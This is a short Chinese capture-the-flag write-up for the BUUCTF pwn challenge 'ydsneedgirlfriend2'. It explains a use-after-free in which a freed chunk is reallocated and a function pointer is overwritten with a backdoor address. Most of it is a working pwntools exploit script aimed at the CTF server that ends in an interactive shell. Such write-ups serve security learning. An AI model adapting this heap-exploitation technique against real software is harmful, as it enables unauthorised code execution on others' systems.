[BUUCTF-pwn]——[BJDCTF 2nd]ydsneedgirlfriend2
checksec看下
在IDA中 look look 看看
思路
首先,利用add申请一块内存空间,并且将girlfriends[0][1], 指向print_girlfriend_name函数。将空间free之后,重新申请空间,仍是这块空间(堆的性质),这时将girlfriends[0][1]覆盖为backdoor函数地址。执行show,也就执行了backdoor函数
exploit
from pwn import *
p = remote('node3.buuoj.cn',26631)
def add(size,name):
p.recvuntil('Please input the length of her name:\n')
p.sendline(str(size))
p.recvuntil('Please tell me her name:\n')
p.sendline(name)
def delete(index):
p.recvuntil('Index :')
p.sendline(str(index))
def show(idx):
p.sendlineafter('Index :',str(idx))
backdoor = 0x400d86
p.sendlineafter("u choice :\n","1")
add(0x10,'0')
p.sendlineafter("u choice :\n","2")
delete(0)
payload = p64(0) + p64(backdoor)
p.sendlineafter("u choice :\n","1")
add(0x10,payload)
p.sendlineafter("u choice :\n","3")
show(0)
p.interactive()